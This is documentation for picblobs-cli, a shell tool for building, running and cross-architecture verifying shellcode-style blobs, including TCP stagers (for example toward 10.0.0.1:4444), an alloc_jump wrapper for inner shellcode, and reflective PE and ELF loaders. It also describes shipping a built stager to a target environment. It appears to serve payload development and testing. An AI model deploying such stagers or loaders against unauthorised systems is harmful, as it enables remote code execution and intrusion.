HOVEL // module 01.12
Module 01.12 Payload provider / Integrated

picblobs-cli

picblobs-cli is a companion package that bundles the non-Linux cross-compiled test runners and verifier-only test binaries alongside a click-based command-line interface. Linux payloads run as temporary ELF executables produced by picblobs itself. It depends on picblobs for blob data and the builder API. Install picblobs-cli when you want to build, run, or verify blobs from the shell -- if all you need is the blob bytes, stick with picblobs on its own.

See ADR-026 and REQ-020 for the architecture and full contract.

Installation

pip install picblobs-cli      # pulls in picblobs + click, ships non-Linux runners/fixtures

Cross-architecture execution needs QEMU user-mode emulation. Two setups work, and picblobs-cli auto-detects which one you have:

  1. binfmt_misc handlers (preferred on Debian/Ubuntu 26.04+): the kernel routes a foreign-arch binary through QEMU automatically when it is exec'd, so picblobs-cli just runs the blob directly.
  2. Standalone qemu-*-static interpreters on PATH: used as a fallback when no binfmt_misc handler is registered (and on macOS).
# Debian / Ubuntu 26.04+ — register binfmt_misc handlers (preferred)
sudo apt install qemu-user-binfmt

# Older Debian / Ubuntu — standalone static interpreters
sudo apt install qemu-user-static

# Fedora / RHEL
sudo dnf install qemu-user-static

The resolution order is "run the binary directly; if the kernel can't exec it, fall back to a qemu-*-static (or qemu-*) interpreter on PATH; otherwise fail." Native-arch and i686-on-x86_64 blobs run with no QEMU at all. Run picblobs-cli info to see which targets are runnable on the current host.

From a source checkout, source sourceme installs both packages in editable mode.

Commands

picblobs-cli --help
picblobs-cli COMMAND --help

Top-level commands are build, disasm, extract, info, list, list-runners, listing, run, test, and verify.

info

Print versions, the runner bundle directory, which targets are runnable on this host (native, via a binfmt_misc handler, or via a qemu-* interpreter), and a one-line summary of every staged target.

$ picblobs-cli info
picblobs:     0.1.6
picblobs-cli: 0.1.6
runner bundle: /.../picblobs_cli/_runners
runnable:      aarch64, armv5_arm, armv5_thumb, armv7_thumb, i686, mipsbe32, mipsel32, powerpc, ppc64le, riscv64, s390x, sparcv8, x86_64

Targets:
  freebsd:aarch64  (14 blob types)
  freebsd:armv5_arm  (14 blob types)
  ...
  linux:x86_64  (15 blob types)
  windows:x86_64  (6 blob types)

list-runners

List every bundled (runner_type, arch) runner binary. Linux has no bundled runner; run wraps Linux blobs into ELF executables instead.

picblobs-cli list-runners
picblobs-cli list-runners --os windows
picblobs-cli list-runners --arch x86_64

build

Use the picblobs.Blob(...) builder API to assemble a ready-to-run blob and write it as raw bytes, or wrap Linux output as an ELF executable.

# hello (no config)
picblobs-cli build hello linux:x86_64 -o hello.bin
picblobs-cli build hello linux:x86_64 --wrap-elf -o hello

# alloc_jump with an inner payload
picblobs-cli build alloc_jump linux:x86_64 \
    --payload inner_shellcode.bin \
    -o aj.bin

# stager_tcp with a target
picblobs-cli build stager_tcp linux:aarch64 \
    --address 10.0.0.1 \
    --port 4444 \
    -o stage.bin

# stager_pipe / stager_mmap
picblobs-cli build stager_pipe linux:x86_64 --path /tmp/my.fifo -o sp.bin
picblobs-cli build stager_mmap linux:x86_64 \
    --path /tmp/payload.img --offset 0 --size 4096 \
    -o sm.bin

# reflective_pe (Windows only)
picblobs-cli build reflective_pe windows:x86_64 \
    --pe image.dll --call-dll-main \
    -o refl.bin

# ul_exec — reflective ELF loader
picblobs-cli build ul_exec linux:x86_64 \
    --elf /usr/bin/ls --argv ls --argv -la \
    --envp PATH=/usr/bin \
    -o uex.bin

Options not applicable to the chosen blob type are rejected before any bytes are written, with a hint listing the options that are valid.

run

run has two modes:

Registry mode — look a blob up by type

picblobs-cli run hello linux:x86_64
picblobs-cli run hello linux:aarch64                # cross-arch via QEMU
picblobs-cli run stager_fd linux:x86_64 --config-hex 00000000 --stdin payload_stream.bin

Options:

  • --config-hex HEX — use the hex bytes as the serialized config struct.
  • --payload FILE — read the serialized config struct from a file.
  • --stdin FILE — feed file contents to the blob on fd 0.
  • --timeout SECONDS (default 30).
  • --runner-type TYPE — override the runner type.
  • --runner-path FILE — use an explicit runner binary.
  • --debug — print command, paths, keep temp files.
  • --dry-run — print the runner command without executing it.

File mode — execute an already-assembled blob

# Build once, run anywhere
picblobs-cli build alloc_jump linux:x86_64 --payload inner.bin -o aj.bin
picblobs-cli run --file aj.bin linux:x86_64

# Cross-architecture: target selects the runner + QEMU binary
picblobs-cli build stager_tcp linux:aarch64 \
    --address 127.0.0.1 --port 4444 -o stage.bin
picblobs-cli run --file stage.bin linux:aarch64

# Stdin still works; the file is handed to the runner as-is.
picblobs-cli run --file stage_fd.bin linux:x86_64 --stdin payload.bin

Because the file is assumed to be a complete (code + config) blob, --config-hex and --payload are rejected in file mode — assemble the blob first with build.

Passing both a positional <blob_type> and --file is a usage error: the two modes are mutually exclusive. A missing target or missing file is caught by click before execution.

verify

Exercise every staged blob end-to-end with the appropriate fixtures (TCP server, FIFO, temp file, stdin piping, inner-payload packing for alloc_jump, staged ul_exec ELFs, paired NaCl handshake).

# full sweep
picblobs-cli verify

# filters
picblobs-cli verify --os linux
picblobs-cli verify --type hello
picblobs-cli verify --os freebsd --arch x86_64

Exits non-zero if any blob fails; prints a PASSED / FAILED / SKIPPED summary listing the failing combinations by name.

Typical workflows

Iterating on a payload during development

# Edit src/payload/my_blob.c, then
task stage

# Single-shot run
picblobs-cli run my_blob linux:x86_64

# Full sweep across every staged target
picblobs-cli verify --type my_blob

Producing artifacts for an external system

# Generate the blob once
picblobs-cli build stager_tcp linux:aarch64 \
    --address 10.0.0.1 --port 4444 -o stage.bin

# Ship stage.bin to the target environment, or sanity-check it locally
picblobs-cli run --file stage.bin linux:aarch64 --timeout 5

Scripting around the CLI

The exit code is the blob's exit code (or the CLI's own error code). Stdout and stderr are passed through verbatim, so scripting idioms work:

if output=$(picblobs-cli run my_blob linux:x86_64); then
    echo "blob said: $output"
fi

Relationship to picblobs

Need Package
Assemble blobs from the Python builder picblobs
Read blob metadata / config layouts picblobs
Run / verify blobs under bundled runners picblobs-cli
Get cross-compiled runner binaries picblobs-cli

The runtime catalog also includes PIC_PLATFORM_HOSTED NaCl variants (nacl_client_hosted, nacl_server_hosted). Those are staged artifacts for the hosted platform code path, not high-level builder methods.

If you install only picblobs, picblobs.runner.find_runner() raises FileNotFoundError with a message pointing at picblobs-cli. The data library itself remains fully usable — it just can't execute.